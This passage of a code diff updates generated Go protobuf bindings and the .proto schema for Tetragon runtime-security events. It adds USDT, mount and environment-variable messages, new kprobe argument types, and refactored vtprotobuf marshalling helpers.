*KprobeSockaddrUn { + if x, ok := x.GetArg().(*KprobeArgument_SockaddrunArg); ok { + return x.SockaddrunArg + } + return nil } type isKprobeArgument_Arg interface { @@ -2310,6 +2465,18 @@ type KprobeArgument_SockaddrArg struct { SockaddrArg *KprobeSockaddr `protobuf:"bytes,30,opt,name=sockaddr_arg,json=sockaddrArg,proto3,oneof"` } +type KprobeArgument_BpfProgArg struct { + BpfProgArg *KprobeBpfProg `protobuf:"bytes,31,opt,name=bpf_prog_arg,json=bpfProgArg,proto3,oneof"` +} + +type KprobeArgument_ErrorArg struct { + ErrorArg *KprobeError `protobuf:"bytes,32,opt,name=error_arg,json=errorArg,proto3,oneof"` +} + +type KprobeArgument_SockaddrunArg struct { + SockaddrunArg *KprobeSockaddrUn `protobuf:"bytes,33,opt,name=sockaddrun_arg,json=sockaddrunArg,proto3,oneof"` +} + func (*KprobeArgument_StringArg) isKprobeArgument_Arg() {} func (*KprobeArgument_IntArg) isKprobeArgument_Arg() {} @@ -2368,6 +2535,12 @@ func (*KprobeArgument_SyscallId) isKprobeArgument_Arg() {} func (*KprobeArgument_SockaddrArg) isKprobeArgument_Arg() {} +func (*KprobeArgument_BpfProgArg) isKprobeArgument_Arg() {} + +func (*KprobeArgument_ErrorArg) isKprobeArgument_Arg() {} + +func (*KprobeArgument_SockaddrunArg) isKprobeArgument_Arg() {} + type ProcessKprobe struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2399,6 +2572,8 @@ type ProcessKprobe struct { UserStackTrace []*StackTraceEntry `protobuf:"bytes,12,rep,name=user_stack_trace,json=userStackTrace,proto3" json:"user_stack_trace,omitempty"` // Ancestors of the process beyond the immediate parent. Ancestors []*Process `protobuf:"bytes,13,rep,name=ancestors,proto3" json:"ancestors,omitempty"` + // Data definition of the observed kprobe. + Data []*KprobeArgument `protobuf:"bytes,14,rep,name=data,proto3" json:"data,omitempty"` } func (x *ProcessKprobe) ProtoReflect() protoreflect.Message { @@ -2496,6 +2671,13 @@ func (x *ProcessKprobe) GetAncestors() []*Process { return nil } +func (x *ProcessKprobe) GetData() []*KprobeArgument { + if x != nil { + return x.Data + } + return nil +} + type ProcessTracepoint struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2621,6 +2803,10 @@ type ProcessUprobe struct { Offset uint64 `protobuf:"varint,10,opt,name=offset,proto3" json:"offset,omitempty"` // uprobe ref_ctr_offset RefCtrOffset uint64 `protobuf:"varint,11,opt,name=ref_ctr_offset,json=refCtrOffset,proto3" json:"ref_ctr_offset,omitempty"` + // Action performed when the uprobe hook matched. + Action KprobeAction `protobuf:"varint,12,opt,name=action,proto3,enum=tetragon.KprobeAction" json:"action,omitempty"` + // Data definition of the observed uprobe. + Data []*KprobeArgument `protobuf:"bytes,13,rep,name=data,proto3" json:"data,omitempty"` } func (x *ProcessUprobe) ProtoReflect() protoreflect.Message { @@ -2704,6 +2890,135 @@ func (x *ProcessUprobe) GetRefCtrOffset() uint64 { return 0 } +func (x *ProcessUprobe) GetAction() KprobeAction { + if x != nil { + return x.Action + } + return KprobeAction_KPROBE_ACTION_UNKNOWN +} + +func (x *ProcessUprobe) GetData() []*KprobeArgument { + if x != nil { + return x.Data + } + return nil +} + +type ProcessUsdt struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Process *Process `protobuf:"bytes,1,opt,name=process,proto3" json:"process,omitempty"` + Parent *Process `protobuf:"bytes,2,opt,name=parent,proto3" json:"parent,omitempty"` + Path string `protobuf:"bytes,3,opt,name=path,proto3" json:"path,omitempty"` + Provider string `protobuf:"bytes,4,opt,name=provider,proto3" json:"provider,omitempty"` + Name string `protobuf:"bytes,5,opt,name=name,proto3" json:"name,omitempty"` + // Name of the policy that created that uprobe. + PolicyName string `protobuf:"bytes,6,opt,name=policy_name,json=policyName,proto3" json:"policy_name,omitempty"` + // Short message of the Tracing Policy to inform users what is going on. + Message string `protobuf:"bytes,7,opt,name=message,proto3" json:"message,omitempty"` + // Arguments definition of the observed uprobe. + Args []*KprobeArgument `protobuf:"bytes,8,rep,name=args,proto3" json:"args,omitempty"` + // Tags of the Tracing Policy to categorize the event. + Tags []string `protobuf:"bytes,9,rep,name=tags,proto3" json:"tags,omitempty"` + // Ancestors of the process beyond the immediate parent. + Ancestors []*Process `protobuf:"bytes,10,rep,name=ancestors,proto3" json:"ancestors,omitempty"` + // Action performed when the USDT hook matched. + Action KprobeAction `protobuf:"varint,11,opt,name=action,proto3,enum=tetragon.KprobeAction" json:"action,omitempty"` + // Flags are for debugging purposes only and should not be considered a + // reliable source of information. + Flags string `protobuf:"bytes,12,opt,name=flags,proto3" json:"flags,omitempty"` +} + +func (x *ProcessUsdt) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *ProcessUsdt) GetProcess() *Process { + if x != nil { + return x.Process + } + return nil +} + +func (x *ProcessUsdt) GetParent() *Process { + if x != nil { + return x.Parent + } + return nil +} + +func (x *ProcessUsdt) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *ProcessUsdt) GetProvider() string { + if x != nil { + return x.Provider + } + return "" +} + +func (x *ProcessUsdt) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *ProcessUsdt) GetPolicyName() string { + if x != nil { + return x.PolicyName + } + return "" +} + +func (x *ProcessUsdt) GetMessage() string { + if x != nil { + return x.Message + } + return "" +} + +func (x *ProcessUsdt) GetArgs() []*KprobeArgument { + if x != nil { + return x.Args + } + return nil +} + +func (x *ProcessUsdt) GetTags() []string { + if x != nil { + return x.Tags + } + return nil +} + +func (x *ProcessUsdt) GetAncestors() []*Process { + if x != nil { + return x.Ancestors + } + return nil +} + +func (x *ProcessUsdt) GetAction() KprobeAction { + if x != nil { + return x.Action + } + return KprobeAction_KPROBE_ACTION_UNKNOWN +} + +func (x *ProcessUsdt) GetFlags() string { + if x != nil { + return x.Flags + } + return "" +} + type ProcessLsm struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2964,9 +3279,16 @@ type ProcessLoader struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields + // Process that triggered the loader. Process *Process `protobuf:"bytes,1,opt,name=process,proto3" json:"process,omitempty"` - Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` - Buildid []byte `protobuf:"bytes,3,opt,name=buildid,proto3" json:"buildid,omitempty"` + // File path that is being loaded. + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` + // Buildid of the file that is being loaded. + Buildid []byte `protobuf:"bytes,3,opt,name=buildid,proto3" json:"buildid,omitempty"` + // Immediate parent of the process. + Parent *Process `protobuf:"bytes,4,opt,name=parent,proto3" json:"parent,omitempty"` + // Ancestors of the process beyond the immediate parent. + Ancestors []*Process `protobuf:"bytes,5,rep,name=ancestors,proto3" json:"ancestors,omitempty"` } func (x *ProcessLoader) ProtoReflect() protoreflect.Message { @@ -2994,6 +3316,20 @@ func (x *ProcessLoader) GetBuildid() []byte { return nil } +func (x *ProcessLoader) GetParent() *Process { + if x != nil { + return x.Parent + } + return nil +} + +func (x *ProcessLoader) GetAncestors() []*Process { + if x != nil { + return x.Ancestors + } + return nil +} + // RuntimeHookRequest synchronously propagates information to the agent about run-time state. type RuntimeHookRequest struct { state protoimpl.MessageState @@ -3044,6 +3380,53 @@ func (x *RuntimeHookResponse) ProtoReflect() protoreflect.Message { panic(`not implemented`) } +type Mount struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Destination is the absolute path where the mount will be placed in the container. + Destination string `protobuf:"bytes,1,opt,name=destination,proto3" json:"destination,omitempty"` + // Type specifies the mount kind. + Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"` + // Source specifies the source path of the mount. + Source string `protobuf:"bytes,3,opt,name=source,proto3" json:"source,omitempty"` + // Options are fstab style mount options. + Options []string `protobuf:"bytes,4,rep,name=options,proto3" json:"options,omitempty"` +} + +func (x *Mount) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *Mount) GetDestination() string { + if x != nil { + return x.Destination + } + return "" +} + +func (x *Mount) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *Mount) GetSource() string { + if x != nil { + return x.Source + } + return "" +} + +func (x *Mount) GetOptions() []string { + if x != nil { + return x.Options + } + return nil +} + // CreateContainer informs the agent that a container was created // This is intented to be used by OCI hooks (but not limited to them) and corresponds to the // CreateContainer hook: @@ -3078,6 +3461,8 @@ type CreateContainer struct { PodNamespace string `protobuf:"bytes,8,opt,name=podNamespace,proto3" json:"podNamespace,omitempty"` // containerImage is the full image location (repo + image) ContainerImage string `protobuf:"bytes,9,opt,name=containerImage,proto3" json:"containerImage,omitempty"` + // Mounts configures additional mounts (on top of Root). + Mounts []*Mount `protobuf:"bytes,10,rep,name=mounts,proto3" json:"mounts,omitempty"` } func (x *CreateContainer) ProtoReflect() protoreflect.Message { @@ -3147,6 +3532,13 @@ func (x *CreateContainer) GetContainerImage() string { return "" } +func (x *CreateContainer) GetMounts() []*Mount { + if x != nil { + return x.Mounts + } + return nil +} + type StackTraceEntry struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache diff --git a/event-processor/detector/api/tetragon/tetragon.proto b/event-processor/detector/api/tetragon/tetragon.proto index dc5ad629..83e0a12c 100644 --- a/event-processor/detector/api/tetragon/tetragon.proto +++ b/event-processor/detector/api/tetragon/tetragon.proto @@ -52,6 +52,8 @@ message Pod { string namespace = 1; // Name of the Pod. string name = 2; + // UID of the Pod. + string uid = 3; // Container of the Pod from which the process that triggered the event // originates. Container container = 4; @@ -184,6 +186,12 @@ message UserRecord { string name = 1; } +// Environment variable +message EnvVar { + string Key = 1; + string Value = 2; +} + message Process { // Exec ID uniquely identifies the process over time across all the nodes in the cluster. string exec_id = 1; @@ -295,6 +303,8 @@ message Process { // for example, you wish to discern whether a process was spawned using a // tool like nsenter or kubectl exec. google.protobuf.BoolValue in_init_tree = 20; + // Environment variables passed to the binary at execution. + repeated EnvVar environment_variables = 21; } message ProcessExec { @@ -361,6 +371,11 @@ message KprobeSockaddr { uint32 port = 3; } +message KprobeSockaddrUn { + string family = 1; + string path = 2; +} + message KprobeNetDev { string name = 1; } @@ -414,6 +429,12 @@ message KprobeBpfAttr { string ProgName = 3; } +message KprobeBpfProg { + string ProgType = 1; + uint32 InsnCnt = 2; + string ProgName = 3; +} + message KprobePerfEvent { string KprobeFunc = 1; string Type = 2; @@ -429,6 +450,10 @@ message KprobeBpfMap { string MapName = 5; } +message KprobeError { + string Message = 1; +} + message SyscallId { uint32 id = 1; string abi = 2; @@ -465,6 +490,9 @@ message KprobeArgument { BpfCmd bpf_cmd_arg = 28; SyscallId syscall_id = 29; KprobeSockaddr sockaddr_arg = 30; + KprobeBpfProg bpf_prog_arg = 31; + KprobeError error_arg = 32; + KprobeSockaddrUn sockaddrun_arg = 33; } string label = 18; } @@ -501,6 +529,8 @@ enum KprobeAction { KPROBE_ACTION_NOTIFYENFORCER = 13; // CleanupEnforcerNotification action cleanups any state left by NotifyEnforcer KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION = 14; + // Set action sets first USDT argument + KPROBE_ACTION_SET = 15; } message ProcessKprobe { @@ -530,6 +560,8 @@ message ProcessKprobe { repeated StackTraceEntry user_stack_trace = 12; // Ancestors of the process beyond the immediate parent. repeated Process ancestors = 13; + // Data definition of the observed kprobe. + repeated KprobeArgument data = 14; } message ProcessTracepoint { @@ -575,6 +607,33 @@ message ProcessUprobe { uint64 offset = 10; // uprobe ref_ctr_offset uint64 ref_ctr_offset = 11; + // Action performed when the uprobe hook matched. + KprobeAction action = 12; + // Data definition of the observed uprobe. + repeated KprobeArgument data = 13; +} + +message ProcessUsdt { + Process process = 1; + Process parent = 2; + string path = 3; + string provider = 4; + string name = 5; + // Name of the policy that created that uprobe. + string policy_name = 6; + // Short message of the Tracing Policy to inform users what is going on. + string message = 7; + // Arguments definition of the observed uprobe. + repeated KprobeArgument args = 8; + // Tags of the Tracing Policy to categorize the event. + repeated string tags = 9; + // Ancestors of the process beyond the immediate parent. + repeated Process ancestors = 10; + // Action performed when the USDT hook matched. + KprobeAction action = 11; + // Flags are for debugging purposes only and should not be considered a + // reliable source of information. + string flags = 12; } message ProcessLsm { @@ -672,9 +731,16 @@ message GetHealthStatusResponse { // loader sensor event triggered for loaded binary/library message ProcessLoader { + // Process that triggered the loader. Process process = 1; + // File path that is being loaded. string path = 2; + // Buildid of the file that is being loaded. bytes buildid = 3; + // Immediate parent of the process. + Process parent = 4; + // Ancestors of the process beyond the immediate parent. + repeated Process ancestors = 5; } // RuntimeHookRequest synchronously propagates information to the agent about run-time state. @@ -686,6 +752,17 @@ message RuntimeHookRequest { message RuntimeHookResponse {} +message Mount { + // Destination is the absolute path where the mount will be placed in the container. + string destination = 1; + // Type specifies the mount kind. + string type = 2; + // Source specifies the source path of the mount. + string source = 3; + // Options are fstab style mount options. + repeated string options = 4; +} + // CreateContainer informs the agent that a container was created // This is intented to be used by OCI hooks (but not limited to them) and corresponds to the // CreateContainer hook: @@ -716,6 +793,8 @@ message CreateContainer { string podNamespace = 8; // containerImage is the full image location (repo + image) string containerImage = 9; + // Mounts configures additional mounts (on top of Root). + repeated Mount mounts = 10; } message StackTraceEntry { diff --git a/event-processor/detector/api/tetragon/tetragon_vtproto.pb.go b/event-processor/detector/api/tetragon/tetragon_vtproto.pb.go index 5b219de1..cf1779b9 100644 --- a/event-processor/detector/api/tetragon/tetragon_vtproto.pb.go +++ b/event-processor/detector/api/tetragon/tetragon_vtproto.pb.go @@ -4,19 +4,18 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/tetragon.proto package tetragon import ( fmt "fmt" - timestamppb "github.com/knqyf263/go-plugin/types/known/timestamppb" - wrapperspb "github.com/knqyf263/go-plugin/types/known/wrapperspb" - proto "google.golang.org/protobuf/proto" + timestamppb "github.com/runtime-radar/go-plugin/types/known/timestamppb" + wrapperspb "github.com/runtime-radar/go-plugin/types/known/wrapperspb" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" protoimpl "google.golang.org/protobuf/runtime/protoimpl" io "io" - bits "math/bits" ) const ( @@ -59,14 +58,14 @@ func (m *Image) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0x12 } if len(m.Id) > 0 { i -= len(m.Id) copy(dAtA[i:], m.Id) - i = encodeVarint(dAtA, i, uint64(len(m.Id))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Id))) i-- dAtA[i] = 0xa } @@ -152,7 +151,7 @@ func (m *Container) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x72 } @@ -167,46 +166,22 @@ func (m *Container) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[i] = 0x68 } if m.Pid != nil { - if vtmsg, ok := interface{}(m.Pid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Pid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Pid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x2a } if m.StartTime != nil { - if vtmsg, ok := interface{}(m.StartTime).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.StartTime) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*timestamppb.Timestamp)(m.StartTime).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x22 } @@ -216,21 +191,21 @@ func (m *Container) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0x12 } if len(m.Id) > 0 { i -= len(m.Id) copy(dAtA[i:], m.Id) - i = encodeVarint(dAtA, i, uint64(len(m.Id))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Id))) i-- dAtA[i] = 0xa } @@ -273,15 +248,15 @@ func (m *Pod) MarshalToSizedBufferVT(dAtA []byte) (int, error) { baseI := i i -= len(v) copy(dAtA[i:], v) - i = encodeVarint(dAtA, i, uint64(len(v))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(v))) i-- dAtA[i] = 0x12 i -= len(k) copy(dAtA[i:], k) - i = encodeVarint(dAtA, i, uint64(len(k))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(k))) i-- dAtA[i] = 0xa - i = encodeVarint(dAtA, i, uint64(baseI-i)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(baseI-i)) i-- dAtA[i] = 0x42 } @@ -289,14 +264,14 @@ func (m *Pod) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.WorkloadKind) > 0 { i -= len(m.WorkloadKind) copy(dAtA[i:], m.WorkloadKind) - i = encodeVarint(dAtA, i, uint64(len(m.WorkloadKind))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.WorkloadKind))) i-- dAtA[i] = 0x3a } if len(m.Workload) > 0 { i -= len(m.Workload) copy(dAtA[i:], m.Workload) - i = encodeVarint(dAtA, i, uint64(len(m.Workload))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Workload))) i-- dAtA[i] = 0x32 } @@ -306,15 +281,15 @@ func (m *Pod) MarshalToSizedBufferVT(dAtA []byte) (int, error) { baseI := i i -= len(v) copy(dAtA[i:], v) - i = encodeVarint(dAtA, i, uint64(len(v))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(v))) i-- dAtA[i] = 0x12 i -= len(k) copy(dAtA[i:], k) - i = encodeVarint(dAtA, i, uint64(len(k))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(k))) i-- dAtA[i] = 0xa - i = encodeVarint(dAtA, i, uint64(baseI-i)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(baseI-i)) i-- dAtA[i] = 0x2a } @@ -325,21 +300,28 @@ func (m *Pod) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x22 } + if len(m.Uid) > 0 { + i -= len(m.Uid) + copy(dAtA[i:], m.Uid) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Uid))) + i-- + dAtA[i] = 0x1a + } if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0x12 } if len(m.Namespace) > 0 { i -= len(m.Namespace) copy(dAtA[i:], m.Namespace) - i = encodeVarint(dAtA, i, uint64(len(m.Namespace))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) i-- dAtA[i] = 0xa } @@ -379,7 +361,7 @@ func (m *Capabilities) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Inheritable) > 0 { var pksize2 int for _, num := range m.Inheritable { - pksize2 += sov(uint64(num)) + pksize2 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize2 j1 := i @@ -393,14 +375,14 @@ func (m *Capabilities) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j1] = uint8(num) j1++ } - i = encodeVarint(dAtA, i, uint64(pksize2)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize2)) i-- dAtA[i] = 0x1a } if len(m.Effective) > 0 { var pksize4 int for _, num := range m.Effective { - pksize4 += sov(uint64(num)) + pksize4 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize4 j3 := i @@ -414,14 +396,14 @@ func (m *Capabilities) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j3] = uint8(num) j3++ } - i = encodeVarint(dAtA, i, uint64(pksize4)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize4)) i-- dAtA[i] = 0x12 } if len(m.Permitted) > 0 { var pksize6 int for _, num := range m.Permitted { - pksize6 += sov(uint64(num)) + pksize6 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize6 j5 := i @@ -435,7 +417,7 @@ func (m *Capabilities) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j5] = uint8(num) j5++ } - i = encodeVarint(dAtA, i, uint64(pksize6)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize6)) i-- dAtA[i] = 0xa } @@ -483,7 +465,7 @@ func (m *Namespace) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[i] = 0x10 } if m.Inum != 0 { - i = encodeVarint(dAtA, i, uint64(m.Inum)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Inum)) i-- dAtA[i] = 0x8 } @@ -526,7 +508,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x52 } @@ -536,7 +518,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x4a } @@ -546,7 +528,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x42 } @@ -556,7 +538,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x3a } @@ -566,7 +548,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x32 } @@ -576,7 +558,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x2a } @@ -586,7 +568,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x22 } @@ -596,7 +578,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } @@ -606,7 +588,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } @@ -616,7 +598,7 @@ func (m *Namespaces) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -659,73 +641,37 @@ func (m *UserNamespace) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x22 } if m.Gid != nil { - if vtmsg, ok := interface{}(m.Gid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Gid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Gid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } if m.Uid != nil { - if vtmsg, ok := interface{}(m.Uid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Uid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Uid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } if m.Level != nil { - if vtmsg, ok := interface{}(m.Level).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Level) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.Int32Value)(m.Level).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -768,7 +714,7 @@ func (m *ProcessCredentials) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x5a } @@ -778,14 +724,14 @@ func (m *ProcessCredentials) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x52 } if len(m.Securebits) > 0 { var pksize2 int for _, num := range m.Securebits { - pksize2 += sov(uint64(num)) + pksize2 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize2 j1 := i @@ -799,183 +745,87 @@ func (m *ProcessCredentials) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j1] = uint8(num) j1++ } - i = encodeVarint(dAtA, i, uint64(pksize2)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize2)) i-- dAtA[i] = 0x4a } if m.Fsgid != nil { - if vtmsg, ok := interface{}(m.Fsgid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Fsgid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Fsgid).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x42 } if m.Fsuid != nil { - if vtmsg, ok := interface{}(m.Fsuid).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Fsuid) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Fsuid).MarshalToSizedBufferVT(dAtA[:i]) + 